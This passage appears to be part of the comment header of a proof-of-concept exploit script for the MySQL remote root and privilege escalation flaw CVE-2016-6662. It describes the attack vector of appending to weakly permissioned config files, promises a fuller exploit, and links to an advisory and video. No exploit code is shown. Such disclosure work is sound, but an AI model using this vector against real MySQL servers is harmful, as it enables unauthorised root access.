It only allows appending to# existing mysql config files with weak permissions. See V) 1) section of # the advisory for details on this vector. ## Full PoC will be released at a later date, and will show how attackers could# exploit the vulnerability on default installations of MySQL on systems with no# writable my.cnf config files available.## The upcoming advisory CVE-2016-6663 will also make the exploitation trivial# for certain low-privileged attackers that do not have FILE privilege.# # See full advisory for details:# https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html## Video PoC:# https://legalhackers.com/videos/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html### Follow: https://twitter.com/dawid_golunski# &# Stay tuned ;)#
